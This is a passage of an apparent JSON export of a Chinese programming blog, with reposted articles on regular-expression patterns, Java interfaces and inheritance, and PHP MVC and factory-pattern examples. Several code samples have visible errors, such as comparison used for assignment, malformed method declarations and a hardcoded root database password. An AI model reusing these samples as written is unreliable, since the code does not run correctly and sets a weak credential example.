99\u0026rdquo;，要消除这些误报，可以将这个正则表达式与用于月份的正则表达式结合起来，如上所述，以便能够仅匹配实际的月份名称。另外，更改数值范围以避免错误的匹配，并且通过使逗号成为可选项，重复了 18 种可能的格式。\n这将得到一个很长的正则表达式。尝试下面的表达式：\n\u0026quot;([^A-Za-z0-9])(Jan(uary| |.)|Feb(uary| |.)|Mar(ch| |.)|\nApr(il| |.)|May( |.)|Jun(e| |.)|Jul(y| |.)|Aug(ust| |.)|\nSep(tember| |.)|Oct(ober| |.)|Nov(ember| |.)|\nDec(ember| |.)) [0-3]?[0-9]{1}(,)? ([0-9]{4}|'?[0-9]{2})\u0026quot; 同样，根据您的需要仔细设计正则表达式。匹配模式通常比较容易，这是因为它存在于特定输入的上下文中，而不是因为它可能独立于数据集而存在。后代人将会发现，前面那个很长的正则表达式中仍然存在 Y10K 错误，因为它能匹配的最大可能的年份为 9999。\n回页首 匹配整数\n正如您在前几个示例中看到的，使用方括号中的范围可以很好地匹配数值。\n要匹配任意长度的整数，可以在数值范围后面加上 +；要包括负值，可以在它的前面加上可选的负号（连字号）匹配：\n-?[0-9]+ 前面的例子可以匹配 0，因为 0 是指定范围中可选的字符。\n对于数值匹配，使用圆括号将某些部分括起来也非常有效。要匹配任意的十进制数值，可以使用包含小数点加上一个或多个数值的可选围绕字符，以此对前面的正则表达式进行扩展：\n-?[0-9]+(.[0-9]+)? 可以使用方括号指定十进制数值的小数位数。例如，要匹配小数位数为 5 或更多小数位数的正数值，可以使用下面的表达式：\n[^-][0-9]+.([0-9]){5,} 回页首 更多实际的匹配\n范围加上使用括号括起来的元字符，在查找符合任何特定格式的数值时非常有用。将前面介绍的一些技术结合起来，可以构建匹配各种数据的正则表达式：\n要匹配美国的电话号码，可以使用：\n((([2-9][0-9]{2}))? ?|[2-9][0-9]{2}(?:-?| ?))[2-9][0-9]{2}[- ]?[0-9]{4} 这个正则表达式可以匹配美国 15 种格式的电话号码：\n(NPA) PRE-SUFF (NPA) PRE SUFF (NPA) PRESUFF (NPA)PRE-SUFF (NPA)PRE SUFF (NPA)PRESUFF NPA PRE-SUFF NPA PRE SUFF NPA PRESUFF NPAPRE-SUFF NPAPRE SUFF NPAPRESUFF PRE-SUFF PRE SUFF PRESUFF 它还可以匹配美国免费 WATS 号码，尽管 1-800 的\u0026ldquo;1-\u0026rdquo;前缀或其他的免费号码不是匹配的一部分，但它本身可以匹配 10 位的数值。对于以 1 或 1+ 开头的美国号码和任意数目的空格，也完全一样，长途电话拨号前缀本身无法匹配，但是只要它后面跟着实际的号码，这个正则表达式就能够将其找出来。\n要匹配两或三位域的电子邮件地址，可以尝试下面的表达式：\n\u0026lt;[^@]+\u0026gt;@[a-zA-Z_.]+?.[a-zA-Z]{2,3} 要匹配如今所有流行的 URL，可以使用下面的正则表达式：\n(((http(s)?|ftp|telnet|news)://|mailto:)[^()[:space:]]+) 这个表达式可以正常运行，但是匹配 URL 并不像您想象的那么简单。匹配任何可能的 URL 的正则表达式，如 RFC 1738 中的定义，发表在\u0026ldquo;Regexp for URLs\u0026rdquo;（请参见参考资料部分）一文中，它非常巨大并且看起来令人生畏。现在应该将它合并为一个 [:url:] 类（如果有用于处理类似数据种类的各种新的类，如 [:email:]，那就好了）。\n回页首 结束语\n本文涉及到一些用于编写正则表达式的模式构建技术，以及如何使用它们来完成管理员时常碰到的特定类型数据匹配的工作。在此过程中，向您介绍了大量有价值的实际正则表达式，您可以将它们添加到自己的管理工具库中。\n参考资料 学习\n您可以参阅本文在 developerWorks 全球站点上的 英文原文 。 学习教程\u0026ldquo;Using regular expressions\u0026rdquo;（developerWorks，2000 年 9 月）以了解构建正则表达式的基本知识。 \u0026ldquo;如何在 PHP 中使用正则表达式\u0026rdquo;（developerWorks，2006 年 1 月）是关于在 PHP V5 中使用正则表达式的简介。 \u0026ldquo;将正则表达式匹配的强大功能带给 SQL\u0026rdquo;（developerWorks，2003 年 1 月）介绍了在 IBM DB2\u0026#174; Universal Database\u0026#8482; 中如何构建和使用正则表达式库。 \u0026ldquo;Manipulating data with regular expressions (regexp.1.0)\u0026rdquo;（developerWorks，2001 年 12 月）介绍了 regexp.1.0 库。 访问 developerWorks IBM AIX\u0026#174; 操作系统和 UNIX 专区以扩展您的 AIX 和 UNIX 技能。 \u0026ldquo;Regex for URLs\u0026rdquo;站点介绍了可以匹配任何 URL 的正则表达式。 Jeffrey E. F. Friedl 编写的 Mastering Regular Expressions（O\u0026#8217;Reilly \u0026amp; Associates, Inc.，2002 年）一书现在是第二版，并依然是关于这个主题的权威性书籍。 了解关于 developerWorks 技术活动和网络广播的最新消息。 ","permalink":"https://hessian.cn/p/408.html","summary":"转自:http://www.ibm.com/developerworks/cn/aix/library/au-expressions.html\n","title":"[转]磨练构建正则表达式模式的技能"},{"content":"计算机学院研二的兄弟与我讨论Java，一见面，几个问题全是关于接口，接口有什么用？为什么要用接口？什么时候该使用接口？很庆幸他们不是问我 Java如何连接SQL Server，或者是如何开发J2EE应用，这类问题有杀伤力，避之则吉。今年计算机学院本科有个毕业设计课题是做J2ME，选这个题目的学生在5月末都还在苦着脸研究java.util.*这个包，这个这个……唉。\n大多数人认为，接口的意义在于顶替多重继承。众所周知Java没有c 那样多重继承的机制，但是却能够实作多个接口。其实这样做是很牵强的，接口和继承是完全不同的东西，接口没有能力代替多重继承，也没有这个义务。接口的作用，一言以蔽之，就是标志类的类别（type of class）。把不同类型的类归于不同的接口，可以更好的管理他们。OO的精髓，我以为，是对对象的抽象，最能体现这一点的就是接口。为什么我们讨论设计模式都只针对具备了抽象能力的语言（比如c 、java、c#等），就是因为设计模式所研究的，实际上就是如何合理的去抽象。（cowboy的名言是\u0026ldquo;抽象就是抽去像的部分\u0026rdquo;，看似调侃，实乃至理）。\n设计模式中最基础的是工厂模式（Factory），在我最近的一个很简单的应用中，我想尽量的让我的程序能够在多个数据库间移植，当然，这涉及很多问题，单是如何兼容不同DBMS的SQL就让人头痛。我们不妨先把问题简单化，只考虑如何连接不同的数据库。\n假设我有很多个类，分别是Mysql.java、SQLServer.java、Oracle.java、DB2.java，他们分别连接不同的数据库，统一返回一个Connection对象，并且都有一个close方法，用于关闭连接。只需要针对你的DBMS，选择不同的类，就可以用了，但是我的用户他会使用什么数据库？我不知道，我希望的是尽量少的修改代码，就能满足他的需要。我可以抽象如下接口：\npackage org.bromon.test;\npublic interface DB\n{\njava.sql.Connection openDB(String url,String user,String password);\nvoid close();\n}\n这个接口只定义两个方法，没有任何有实际意义的代码，具体的代码由实作这个接口的类来给出，比如Mysql.java：\nPackage org.bromon.test;\nimport java.sql.*;\npublic class Mysql implements DB\n{\nprivate String url=\u0026rdquo;jdbc:mysql:localhost:3306/test\u0026rdquo;;\nprivate String user=\u0026rdquo;root\u0026rdquo;;\nprivate String password=\u0026rdquo;\u0026rdquo;;\nprivate Connection conn;\npublic Connection openDB(url,user,password)\n{\n//连接数据库的代码\n}\npublic void close()\n{\n//关闭数据库\n}\n}\n类似的当然还有Oracle.java等等，接口DB给这些类归了个类，在应用程序中我们这样定义对象：\norg.bromon.test.DB myDB;\n使用myDB来操作数据库，就可以不用管实际上我所使用的是哪个类，这就是所谓的\u0026ldquo;开-闭\u0026rdquo;原则。但是问题在于接口是不能实例化的， myDB=new DB()，这样的代码是绝对错误的，我们只能myDB=new Mysql()或者myDB=new oracle()。麻烦了，我还是需要指定具体实例化的是哪个类，用了接口跟没用一样。所以我们需要一个工厂：\npackage org.bromon.test;\npublic class DBFactory\n{\npublic static DB Connection getConn()\n{\nReturn(new Mysql());\n}\n}\n所以实例化的代码变成：myDB=DBFactory.getConn()；\n这就是23种模式中最基础的普通工厂(Factory)，工厂类负责具体实例化哪个类，而其他的程序逻辑都是针对DB这个接口进行操作，这就是\u0026ldquo;针对接口编程\u0026rdquo;。责任都被推卸给工厂类了，当然你也可以继续定义工厂接口，继续把责任上抛，这就演变成抽象工厂(Abstract Factory)。\n整个过程中接口不负责任何具体操作，其他的程序要连接数据库的话，只需要构造一个DB对象就OK，而不管工厂类如何变化。这就是接口的意义\u0026mdash;-抽象。\n继承的概念不用多说，很好理解。为什么要继承呢？因为你想重用代码？这绝对不是理由，继承的意义也在于抽象，而不是代码重用。如果对象 A有一个run()方法，对象B也想有这个方法，所以有人就Class B extends A。这是不经大脑的做法。如果在B中实例化一个A，调用A的Run()方法，是不是可以达到同样的目的？如下：\nClass B\n{\nA a=new A();\na.run();\n}\n这就是利用类的聚合来重用代码，是委派模式的雏形，是GoF一贯倡导的做法。\n那么继承的意义何在？其实这是历史原因造成的，最开始的OO语言只有继承，没有接口，所以只能以继承来实现抽象，请一定注意，继承的本意在于抽象，而非代码重用（虽然继承也有这个作用），这是很多Java烂书最严重的错误之一，它们所造成的阴影，我至今还没有完全摆脱，坏书害人啊，尤其是入门类的，流毒太大。什么时候应该使用继承？只在抽象类中使用，其他情况下尽量不使用。抽象类也是不能实例化的，它仅仅提供一个模版而已，这就很能说明问题。\n软件开发的万恶之源，一是重复代码而不是重用代码，二是烂用继承，尤以c 程序员为甚。Java中取缔多重继承，目的就是制止烂用继承，实是非常明智的做法，不过很多人都不理解。Java能够更好的体现设计，这是让我入迷的原因之一。\n","permalink":"https://hessian.cn/p/321.html","summary":"计算机学院研二的兄弟与我讨论Java，一见面，几个问题全是关于接口，接口有什么用？为什么要用接口？什么时候该使用接口？很庆幸他们不是问我 Java如何连接SQL Server，或者是如何开发J2EE应用，这类问题有杀伤力，避之则吉。今年计算机学院本科有个毕业设计课题是做J2ME，选这个题目的学生在5月末都还在苦着脸研究java.util.*这个包，这个这个……唉。\n","title":"[转]澄清Java（接口与继承）"},{"content":"首先我来举个例子:\n一个简单的文章显示系统\n简单期间,我们假定这个文章系统是只读的，也就是说这个例子将不涉及文章的发布，现在开始了。\n由于只涉及数据库的读取，所以我定义了两个interface\nInterface DataOperation\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function select($info);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function selectNum($info);\n}\n上面这interface定义了读取数据的接口，select方法将返回所需要的文章。selectNum方法返回文章的总数，这是分页显示时用到的。$info是一个数组,用来存放查询条件\nInterface DataSource\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public static function getInstance();\n}\n这里我们假定我们操作的是数据库,DataSource定义一个接口,所有实现该接口的实例类将得到一个静态对象\nInterface Controller\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function pop();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function push();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function execute();\n}\nInterface View\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function display();\n}\n好了,我们来实现.\n下面定义一个类来实现DataSource接口,这个类运用了单例模式\nclass DataBaseSource implements DataSource\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public static $instance = null;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public static function getInstance()\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(self::$instance == null)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; self::$instance == new PDO(\u0026quot;mysql:host=localhost;dbname=article\u0026quot;,\u0026quot;root\u0026quot;,\u0026quot;123456\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return self::$instance;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n定义一个抽象类来实现DataOperation,我们要共享一个数据库连接,所以我在抽象类中将这个数据库对象初始化,这样,所有的子类都能共享这个对象\nabstract class DataBaseOperation implements DataOperation\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; protected $db = null; \u0026nbsp;\u0026nbsp;\u0026nbsp; public function __construct()\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;db = DataBaseSource::getInstance();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function select($info);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function select($info);\n}\n下面我来写一个业务子类来实现抽象类DataBaseOperation\nclass Tech extends DataBaseOperation\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function select($info)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //在这里实现你的代码\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function selectNum($info)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //在这里实现你的代码\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n业务逻辑层我们实现了,下面是控制层\nclass ViewController implements Controller\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; private $mod = array();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function push($key,$value);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //实现你的代码,将类注册进$this-\u0026gt;mod;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function pop($key)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //实现你的代码,将$this-\u0026gt;mod[$key]值为null;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function execute($key)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //在这里实现你的代码,生成实例.注意利用php5新的特性,异常的处理\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n好了,下面是表现层,这里将实现Interface View\nabstract ArticleView implements View\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; protected $smarty = null;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function __construct()\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;smarty = new Smarty();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ///下面你可以定义smarty的一些属性值\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n具体的页面,例如科技文章的显示页面\nclass TechArticleView extends ArticleView\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public function display()\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //实现你的代码,调用Tech类和更多的DataBaseOperation子类\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n好了,下面是总入口 index.php\ntry\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $viewController = new ViewController();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $viewController-\u0026gt;push(\u0026quot;tech\u0026quot;,TechArticleView); //持续的增加 \u0026nbsp;\u0026nbsp;\u0026nbsp; $mod = $_GET[\u0026quot;mod\u0026quot;]:$_GET[\u0026quot;mod\u0026quot;]:$_POST[\u0026quot;mod\u0026quot;];\n\u0026nbsp;\u0026nbsp;\u0026nbsp; //最后\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $viewController-\u0026gt;execute($key);\n}\ncatch(Exception $e)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //如何处理异常就是你的事了\n}\n","permalink":"https://hessian.cn/p/381.html","summary":"首先我来举个例子:\n一个简单的文章显示系统\n简单期间,我们假定这个文章系统是只读的，也就是说这个例子将不涉及文章的发布，现在开始了。\n由于只涉及数据库的读取，所以我定义了两个interface\n","title":"php中的MVC模式运用"},{"content":"转自:http://blog.chinaunix.net/u/10599/showart_329537.html\n有这么一种观点：似乎没有 \u0026ldquo;Factory 模式\u0026rdquo;一说，GoF 的 23 个模式中与 Factory 相关的有两个：Factory Method 和 Abstract Factory ，《深入浅出设计模式》中则定义了一个 Simple Factory 模式。而本人( Hick ) 翻阅了一下相关资料，Robert C. Martin 的《Agile Software Development: Principles, Patterns, and Pracitces》直接提的是\u0026ldquo;Factory 模式\u0026rdquo;。具体情况有兴趣的可以去详细考证。\n\u0026ldquo;Factory 模式允许我们之依赖于抽象接口就能够创建出具体对象的实例\u0026rdquo;，是 DIP (依赖倒置原则)的体现。我们能够通过给一个工厂（factory）不同的需求来生产不同但是相似的产品(实例化对象)。\n嘿嘿，人说，最好的文档就是代码。我不仅仅这样说，我还可以证明给你看(在这里的显示效果不好，建议拷贝到 PHP 编辑器中看)，下面分别是《PHP 手册》、《Core PHP Programming》和《PHP 5 Power Programming》中 Factory 模式的实例解析：\n\u0026lt;?php\n/**\n* factory 模式\n* * factory 的概念不像 Singleton 等模式那样， factory 模式比较\n* 灵活。通常根据不同的要求能够\u0026quot;生产不同对象\u0026quot;(实例化类)就可以\n* 归为 factory 模式或者其变体。\n*/\n/**\n* 先用手册中一个简单的例子说明 factory 模式\n* * 注意下面这段代码并不可执行，因为需要定义相应的数据库[Driver]类。\n*/\nclass DbFactory\n{\n\u0026nbsp;\u0026nbsp; // factory 方法\n\u0026nbsp;\u0026nbsp; public static function factory($type)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; // 注意这里的包含文件应该是相关数据库的[Driver]类\n\u0026nbsp;\u0026nbsp; if (include_once \u0026#8216;Drivers/\u0026#8216; . $type . \u0026#8216;.php\u0026#8216;) {\n\u0026nbsp;\u0026nbsp; $classname = \u0026#8216;Driver_\u0026#8216; . $type;\n\u0026nbsp;\u0026nbsp; return new $classname;\n\u0026nbsp;\u0026nbsp; } else {\n\u0026nbsp;\u0026nbsp; throw new Exception (\u0026#8216;Driver not found\u0026#8216;);\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; }\n}\n// 生成数据库(MySQL)连接对象，\n$DbCon = DbFactory::factory(\u0026#8216;MySQL\u0026#8216;);\n// $DbCon = DbFactory::factory(\u0026#8216;SQLite\u0026#8217;);\n/**\n* \u0026quot;Core PHP Programming\u0026quot; 中的例子\n*/\nclass Factory\n{\n\u0026nbsp;\u0026nbsp; private $registeredClasses = array();\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; static private $instance = NULL;\n\u0026nbsp;\u0026nbsp; private function __construct() {}\n\u0026nbsp;\u0026nbsp; static function getInstance()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; if(self::$instance == NULL)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; self::$instance = new Factory();\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; return self::$instance;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; function registerClass($id, $creator_func)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; $this-\u0026gt;registeredClasses[$id] = $creator_func;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; function createObject($id, $args)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; if(!isset($this-\u0026gt;registeredClasses[$id]))\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return(NULL);\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; return($this-\u0026gt;registeredClasses[$id]($args));\n\u0026nbsp;\u0026nbsp; }\n}\nclass MyClass\n{\n\u0026nbsp;\u0026nbsp; private $created;\n\u0026nbsp;\u0026nbsp; public function __construct()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; $created = time();\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; public function getCreated()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return($this-\u0026gt;created);\n\u0026nbsp;\u0026nbsp; }\n}\nfunction MyClassCreator()\n{\n\u0026nbsp;\u0026nbsp; return(new MyClass());\n}\n$factory = Factory::getInstance();\n$factory-\u0026gt;registerClass(1234, \u0026quot;MyClassCreator\u0026quot;);\n$instance = $factory-\u0026gt;createObject(1234, array());\n/**\n* \u0026quot;PHP 5 Power Programming\u0026quot; 中的对 factory 模式的诠释\n* * 一个 Factory 类通常都有一个方法负责接受参数，根据参数的不同来决定\n* \u0026quot;生产\u0026quot;哪个类的实例。下面拿网站的用户作为例子，作为实际运用：把网站\n* 用户分成匿名用户，普通(注册)用户，管理员。我们在类中进行用户的权限\n* 控制\u0026#8212;这样能够更好的展现 factory 类在整个类体系中所扮演的角色。\n*/\n/**\n* 基类 User\n*/\nabstract class User {\n\u0026nbsp;\u0026nbsp; public $name = null;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; public function __construct($name)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; $this-\u0026gt;name = $name;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; function getName()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return $this-\u0026gt;name;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; // 权限控制方法\n\u0026nbsp;\u0026nbsp; function hasReadPermission()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return true;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; function hasModifyPermission()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; function hasDeletePermission()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp; }\n}\n// 匿名用户类\nclass GuestUser extends User {}\n// 注册用户类\nclass CustomerUser extends User {\n\u0026nbsp;\u0026nbsp; function hasModifyPermission()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return true;\n\u0026nbsp;\u0026nbsp; }\n}\n// 管理员类\nclass AdminUser extends User {\n\u0026nbsp;\u0026nbsp; function hasModifyPermission()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return true;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; function hasDeletePermission()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return true;\n\u0026nbsp;\u0026nbsp; }\n}\n/**\n* 用户 factory 类\n*/\nclass UserFactory {\n\u0026nbsp;\u0026nbsp; private static $users = \u0026nbsp;\u0026nbsp; array(\u0026quot;Andi\u0026quot;=\u0026gt;\u0026quot;admin\u0026quot;, \u0026quot;Hick\u0026quot;=\u0026gt;\u0026quot;guest\u0026quot;,\n\u0026nbsp;\u0026nbsp; \u0026quot;Derick\u0026quot;=\u0026gt;\u0026quot;customer\u0026quot;);\n\u0026nbsp;\u0026nbsp; static function Create($name)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; if (!isset(self::$users[$name])) {\n\u0026nbsp;\u0026nbsp; // 如果不存在对应的用户类，则提示错误\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; switch (self::$users[$name]) {\n\u0026nbsp;\u0026nbsp; case \u0026quot;guest\u0026quot;: return new GuestUser($name);\n\u0026nbsp;\u0026nbsp; case \u0026quot;customer\u0026quot;: return new CustomerUser($name);\n\u0026nbsp;\u0026nbsp; case \u0026quot;admin\u0026quot;: return new AdminUser($name);\n\u0026nbsp;\u0026nbsp; default: // 默认应该报错\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; }\n}\n// 使用 factory 类实例化用户\n$HickUser = UserFactory::Create(\u0026#8216;Hick\u0026#8216;);\necho $HickUser-\u0026gt;name;\n?\u0026gt; ","permalink":"https://hessian.cn/p/341.html","summary":"转自:http://blog.chinaunix.net/u/10599/showart_329537.html\n有这么一种观点：似乎没有 \u0026ldquo;Factory 模式\u0026rdquo;一说，GoF 的 23 个模式中与 Factory 相关的有两个：Factory Method 和 Abstract Factory ，《深入浅出设计模式》中则定义了一个 Simple Factory 模式。而本人( Hick ) 翻阅了一下相关资料，Robert C. Martin 的《Agile Software Development: Principles, Patterns, and Pracitces》直接提的是\u0026ldquo;Factory 模式\u0026rdquo;。具体情况有兴趣的可以去详细考证。\n\u0026ldquo;Factory 模式允许我们之依赖于抽象接口就能够创建出具体对象的实例\u0026rdquo;，是 DIP (依赖倒置原则)的体现。我们能够通过给一个工厂（factory）不同的需求来生产不同但是相似的产品(实例化对象)。\n嘿嘿，人说，最好的文档就是代码。我不仅仅这样说，我还可以证明给你看(在这里的显示效果不好，建议拷贝到 PHP 编辑器中看)，下面分别是《PHP 手册》、《Core PHP Programming》和《PHP 5 Power Programming》中 Factory 模式的实例解析：\n\u0026lt;?php\n/**\n* factory 模式\n* * factory 的概念不像 Singleton 等模式那样， factory 模式比较\n* 灵活。通常根据不同的要求能够\u0026quot;生产不同对象\u0026quot;(实例化类)就可以\n* 归为 factory 模式或者其变体。\n*/\n/**\n* 先用手册中一个简单的例子说明 factory 模式\n* * 注意下面这段代码并不可执行，因为需要定义相应的数据库[Driver]类。\n*/\nclass DbFactory\n{\n\u0026nbsp;\u0026nbsp; // factory 方法\n\u0026nbsp;\u0026nbsp; public static function factory($type)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; // 注意这里的包含文件应该是相关数据库的[Driver]类\n\u0026nbsp;\u0026nbsp; if (include_once \u0026#8216;Drivers/\u0026#8216; . $type . \u0026#8216;.php\u0026#8216;) {\n\u0026nbsp;\u0026nbsp; $classname = \u0026#8216;Driver_\u0026#8216; . $type;\n\u0026nbsp;\u0026nbsp; return new $classname;\n\u0026nbsp;\u0026nbsp; } else {\n\u0026nbsp;\u0026nbsp; throw new Exception (\u0026#8216;Driver not found\u0026#8216;);\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; }\n}\n// 生成数据库(MySQL)连接对象，\n$DbCon = DbFactory::factory(\u0026#8216;MySQL\u0026#8216;);\n// $DbCon = DbFactory::factory(\u0026#8216;SQLite\u0026#8217;);\n/**\n* \u0026quot;Core PHP Programming\u0026quot; 中的例子\n*/\nclass Factory\n{\n\u0026nbsp;\u0026nbsp; private $registeredClasses = array();\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; static private $instance = NULL;\n\u0026nbsp;\u0026nbsp; private function __construct() {}\n\u0026nbsp;\u0026nbsp; static function getInstance()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; if(self::$instance == NULL)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; self::$instance = new Factory();\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; return self::$instance;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; function registerClass($id, $creator_func)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; $this-\u0026gt;registeredClasses[$id] = $creator_func;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; function createObject($id, $args)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; if(!isset($this-\u0026gt;registeredClasses[$id]))\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return(NULL);\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; return($this-\u0026gt;registeredClasses[$id]($args));\n\u0026nbsp;\u0026nbsp; }\n}\nclass MyClass\n{\n\u0026nbsp;\u0026nbsp; private $created;\n\u0026nbsp;\u0026nbsp; public function __construct()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; $created = time();\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; public function getCreated()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return($this-\u0026gt;created);\n\u0026nbsp;\u0026nbsp; }\n}\nfunction 